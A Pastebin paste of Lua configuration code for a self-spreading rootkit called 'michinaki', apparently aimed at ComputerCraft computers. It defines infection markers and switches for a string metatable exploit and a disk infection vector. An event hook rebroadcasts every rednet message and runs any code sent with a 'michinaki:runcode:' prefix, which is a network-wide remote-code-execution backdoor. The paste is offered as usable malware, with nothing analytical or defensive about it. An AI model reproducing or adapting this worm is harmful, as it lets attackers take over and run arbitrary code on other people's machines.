Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- The variable used to detect existing infections
- michinakiMarkerName = "\0"
- -- The variable used to detect that its already running
- michinakiRMarkerName = "\0\0"
- -- Enable packed payload
- enablePayloadPacking = false
- -- Use the string metatable exploit or not
- enableMetatableVector = true
- -- Use the disk infection vector or not
- enableDiskVector = true
- -- Custom payload ran before the rootkit is set up
- function earlyCustomPayload()
- end
- -- Custom payload ran after the rootkit is set up
- function customPayload()
- end
- -- Custom payload run on every event.
- function customCoroutineProcessor(event, ...)
- if event == "rednet_message" then
- local sender, msg = ...
- rednet.broadcast(msg)
- msg:gsub("michinaki:runcode:(.*)", function(f)
- local fn = loadstring(f)
- if fn then
- pcall(fn)
- end
- end)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment